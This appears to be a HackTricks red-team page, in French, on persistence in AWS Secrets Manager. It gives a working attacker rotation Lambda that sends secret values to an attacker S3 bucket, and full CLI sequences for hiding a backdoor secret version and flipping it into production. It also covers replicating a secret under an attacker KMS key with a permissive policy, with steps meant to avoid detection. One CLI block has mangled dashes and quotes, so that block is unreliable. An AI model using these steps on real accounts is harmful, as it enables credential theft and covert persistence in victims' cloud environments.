AWS - Secrets Manager Persistence

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Secrets Manager

Pour plus d’informations, voir :

AWS - Secrets Manager Enum

Via Resource Policies

Il est possible d’accorder l’accĂšs aux secrets Ă  des comptes externes via des resource policies. Consultez la Secrets Manager Privesc page pour plus d’informations. Notez que pour accĂ©der Ă  un secret, le compte externe aura Ă©galement besoin d’accĂ©der Ă  la clĂ© KMS qui chiffre le secret.

Via Secrets Rotate Lambda

Pour faire la rotation des secrets automatiquement, une Lambda configurĂ©e est appelĂ©e. Si un attaquant pouvait modifier le code, il pourrait directement exfiltrer le nouveau secret vers lui-mĂȘme.

Voici à quoi pourrait ressembler le code d’une Lambda pour une telle action :

import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password

Remplacer la rotation Lambda par une attacker-controlled function via RotateSecret

Abuse secretsmanager:RotateSecret pour réaffecter un secret vers une attacker-controlled rotation Lambda et déclencher une rotation immédiate. La fonction malveillante exfiltrates les versions du secret (AWSCURRENT/AWSPENDING) pendant les étapes de rotation (createSecret/setSecret/testSecret/finishSecret) vers un attacker sink (par ex., S3 ou HTTP externe).

  • PrĂ©requis

  • Permissions: secretsmanager:RotateSecret, lambda:InvokeFunction sur la attacker Lambda, iam:CreateRole/PassRole/PutRolePolicy (ou AttachRolePolicy) pour provisionner le rĂŽle d’exĂ©cution Lambda avec secretsmanager:GetSecretValue et de prĂ©fĂ©rence secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage (pour que la rotation continue de fonctionner), KMS kms:Decrypt pour la clĂ© KMS du secret, et s3:PutObject (ou egress sortant) pour l’exfiltration.

  • Un SecretId cible (SecretId) avec rotation activĂ©e ou la capacitĂ© d’activer la rotation.

  • Impact

  • The attacker obtient la(les) valeur(s) du secret sans modifier le code de rotation lĂ©gitime. Seule la configuration de rotation est modifiĂ©e pour pointer vers la attacker Lambda. Si cela n’est pas dĂ©tectĂ©, les rotations programmĂ©es futures continueront Ă  invoquer la fonction de l’attacker.

  • Étapes d’attaque (CLI)

  1. Préparer attacker sink et le rÎle Lambda
  • CrĂ©er un bucket S3 pour l’exfiltration et un rĂŽle d’exĂ©cution trusted by Lambda avec les permissions pour lire le secret et Ă©crire dans S3 (plus logs/KMS si nĂ©cessaire).
  1. Déployer la attacker Lambda qui à chaque étape de rotation récupÚre les valeur(s) du secret et les écrit dans S3. Une logique minimale de rotation peut simplement copier AWSCURRENT vers AWSPENDING et la promouvoir dans finishSecret pour garder le service opérationnel.
  2. Réaffecter la rotation et déclencher
  • aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
  1. VĂ©rifier l’exfiltration en listant le prĂ©fixe S3 pour ce secret et en inspectant les artefacts JSON.
  2. (Optionnel) Restaurer la rotation Lambda originale pour réduire la détection.
  • Exemple attacker Lambda (Python) exfiltrating vers S3
  • Environnement: EXFIL_BUCKET=<bucket>
  • Handler: lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)

Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Abuse Secrets Manager version staging labels pour implanter une version de secret contrĂŽlĂ©e par l’attaquant et la garder cachĂ©e sous un stage personnalisĂ© (par exemple, ATTACKER) tandis que la production continue d’utiliser l’original AWSCURRENT. À tout moment, basculer AWSCURRENT vers la version de l’attaquant pour empoisonner les workloads dĂ©pendants, puis le restaurer pour minimiser la dĂ©tection. Cela fournit une persistence backdoor discrĂšte et une manipulation rapide au moment de l’utilisation sans changer le nom du secret ni la config de rotation.

  • Exigences

  • Autorisations: secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage, secretsmanager:DescribeSecret, secretsmanager:ListSecretVersionIds, secretsmanager:GetSecretValue (pour vĂ©rification)

  • ID du secret cible dans la RĂ©gion.

  • Impact

  • Maintenir une version cachĂ©e et contrĂŽlĂ©e par l’attaquant d’un secret et basculer atomiquement AWSCURRENT vers celle-ci Ă  la demande, influençant tout consommateur rĂ©solvant le mĂȘme nom de secret. La bascule et le revert rapide rĂ©duisent les chances de dĂ©tection tout en permettant une compromission au moment de l’utilisation.

  • Étapes de l’attaque (CLI)

  • PrĂ©paration

  • export SECRET_ID=<target secret id or arn>

Commandes CLI ```bash # 1) Capture current production version id (the one holding AWSCURRENT) CUR=$(aws secretsmanager list-secret-version-ids \ --secret-id "$SECRET_ID" \ --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ --output text)

2) Create attacker version with known value (this will temporarily move AWSCURRENT)

BACKTOK=$(uuidgen) aws secretsmanager put-secret-value
–secret-id “$SECRET_ID”
–client-request-token “$BACKTOK”
–secret-string {backdoor:hunter2!}

3) Restore production and hide attacker version under custom stage

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$CUR”
–remove-from-version-id “$BACKTOK”

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage ATTACKER
–move-to-version-id “$BACKTOK”

Verify stages

aws secretsmanager list-secret-version-ids –secret-id “$SECRET_ID” –include-deprecated

4) On-demand flip to the attacker’s value and revert quickly

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$BACKTOK”
–remove-from-version-id “$CUR”

Validate served plaintext now equals the attacker payload

aws secretsmanager get-secret-value –secret-id “$SECRET_ID” –query SecretString –output text

Revert to reduce detection

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$CUR”
–remove-from-version-id “$BACKTOK”

</details>

- Remarques
- Lorsque vous fournissez `--client-request-token`, Secrets Manager l'utilise comme le `VersionId`. Ajouter une nouvelle version sans définir explicitement `--version-stages` déplace `AWSCURRENT` vers la nouvelle version par défaut, et marque la précédente comme `AWSPREVIOUS`.


### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Exploitez la réplication multi-Region de Secrets Manager pour créer une réplique d'un secret cible dans une Region moins surveillée, la chiffrer avec une clé KMS contrÎlée par l'attaquant dans cette Region, puis promouvoir la réplique en secret autonome et lui attacher une resource policy permissive accordant à l'attaquant l'accÚs en lecture. Le secret original dans la Region primaire reste inchangé, offrant un accÚs persistant et furtif à la valeur du secret via la réplique promue tout en contournant les contraintes KMS/policy sur le primaire.

- Prérequis
- Permissions : `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- Dans la Region de la réplique : `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) pour permettre au principal attaquant `kms:Decrypt`.
- Un principal attaquant (user/role) devant recevoir l'accĂšs en lecture au secret promu.

- Impact
- Chemin d'accÚs persistant inter-Region à la valeur du secret via une réplique autonome protégée par un CMK KMS contrÎlé par l'attaquant et une resource policy permissive. Le secret primaire dans la Region d'origine reste inchangé.

- Attaque (CLI)
- Variables
```bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
  1. CrĂ©er une clĂ© KMS contrĂŽlĂ©e par l’attaquant dans la rĂ©gion rĂ©pliquĂ©e
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
  1. RĂ©pliquer le secret vers R2 en utilisant la clĂ© KMS de l’attaquant
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
  1. Promouvoir la rĂ©plique en tant qu’instance autonome dans R2
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
  1. Attacher une politique de ressource permissive au secret autonome dans R2
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
  1. Lire le secret de l’attacker principal dans R2
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks